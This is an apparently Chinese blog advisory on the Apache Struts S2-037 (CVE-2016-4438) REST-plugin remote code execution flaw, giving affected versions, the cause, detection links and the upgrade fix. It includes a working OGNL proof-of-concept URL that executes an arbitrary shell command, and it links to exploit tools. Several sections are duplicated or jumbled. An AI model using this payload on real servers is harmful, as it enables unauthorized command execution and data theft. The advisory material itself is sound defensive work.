Struts(S2-037)远程代码执行
2016-06-16 19:08
330 查看
Struts(S2-037)远程代码执行
漏洞名称:Struts(S2-037)远程代码执行
漏洞发布日期:2016.615
受影响的软件及系统:Apache struts 2.3.20 - 2.3.28.1 版本使用了REST插件的用户
漏洞概述:Apache Struts 2是世界上最流行的Java Web服务器框架之一。Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438,目前命名为S2-037。,黑客可以利用漏洞直接执行任意代码,绕过文件限制,上传文件,执行远程命令,控制服务器,直接盗取用户的所有资料,该漏洞广泛影响所有struts版本。
2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。漏洞建立在033的基础上,还是对method没有进行过滤导致的,但是033的payload的要做转变才能检测 ( 启用动态调用方法为true ;支持rest插件 )
rest介绍:
使用http://localhost:8080/bee/action-name/1/XXX这种请求方式,其实XXX可以是任何合法的名字
Struts2会查找XXX为名字的方法来调用,比如请求http://localhost:8080/bee/test/1/abc,那么TestAction的public String abc()就会被调用
攻击者可以使用REST插件调用恶意表达式实现远程执行代码。POC:
http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=netstat-na
2、漏洞检测地址2:http://matrix.cubesec.cn/Public/scaning.html
3、使用工具直接检测1:https://github.com/ym2011/Some-PoC-oR-ExP/blob/master/Struts2/S2-037_CmdToolExP.py
4、使用工具直接检测2:https://github.com/7ym0n/security/blob/master/Web/s2-033-and-037-poc.md
2、漏洞检测地址2:http://matrix.cubesec.cn/Public/scaning.html
3、使用工具直接检测1:https://github.com/ym2011/Some-PoC-oR-ExP/blob/master/Struts2/S2-037_CmdToolExP.py
4、使用工具直接检测2:https://github.com/7ym0n/security/blob/master/Web/s2-033-and-037-poc.md
欢迎大家分享更好的思路,热切期待^^_^^ !!!
一、漏洞基本信息
CVE编号:CVE-2016-4438漏洞名称:Struts(S2-037)远程代码执行
漏洞发布日期:2016.615
受影响的软件及系统:Apache struts 2.3.20 - 2.3.28.1 版本使用了REST插件的用户
漏洞概述:Apache Struts 2是世界上最流行的Java Web服务器框架之一。Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。该漏洞编号为CVE-2016-4438,目前命名为S2-037。,黑客可以利用漏洞直接执行任意代码,绕过文件限制,上传文件,执行远程命令,控制服务器,直接盗取用户的所有资料,该漏洞广泛影响所有struts版本。
二、漏洞原理分析
Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。漏洞建立在033的基础上,还是对method没有进行过滤导致的,但是033的payload的要做转变才能检测 ( 启用动态调用方法为true ;支持rest插件 )
rest介绍:
使用http://localhost:8080/bee/action-name/1/XXX这种请求方式,其实XXX可以是任何合法的名字
Struts2会查找XXX为名字的方法来调用,比如请求http://localhost:8080/bee/test/1/abc,那么TestAction的public String abc()就会被调用
攻击者可以使用REST插件调用恶意表达式实现远程执行代码。POC:
http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=netstat-na
三、漏洞检测方法
1、漏洞检测地址1: https://www.seebug.org/monster/2、漏洞检测地址2:http://matrix.cubesec.cn/Public/scaning.html
3、使用工具直接检测1:https://github.com/ym2011/Some-PoC-oR-ExP/blob/master/Struts2/S2-037_CmdToolExP.py
4、使用工具直接检测2:https://github.com/7ym0n/security/blob/master/Web/s2-033-and-037-poc.md
四、漏洞修复方案
升级到Struts 2.3.29五、漏洞修复结果验证
1、漏洞检测地址1: https://www.seebug.org/monster/2、漏洞检测地址2:http://matrix.cubesec.cn/Public/scaning.html
3、使用工具直接检测1:https://github.com/ym2011/Some-PoC-oR-ExP/blob/master/Struts2/S2-037_CmdToolExP.py
4、使用工具直接检测2:https://github.com/7ym0n/security/blob/master/Web/s2-033-and-037-poc.md
欢迎大家分享更好的思路,热切期待^^_^^ !!!
相关文章推荐
- springMVC运行流程
- Java基础-设计模式-单例模式2
- win7下JAVA环境变量配置方法
- java异常汇总
- Java反射(一)----- Class类的使用
- cronexpression 详解
- 不设置环境变量运行eclipse的方法
- java开发webservice
- Eclipse项目转AndroidStudio
- RxJava进阶之源码分析map() 操作符分析
- 转:java 类名 this 的使用
- java OOM(OutOfMemory) 问题分析
- java 的@Override 标签
- Java中Servlet的生命周期问题
- Java眼中的XML ---文件写入
- java使用JDBC连接sqlserver2008数据库
- javaWeb开发过程中小细节总结(2)
- Eclipse 常见问题与错误解决
- java websocket demo
- Java并发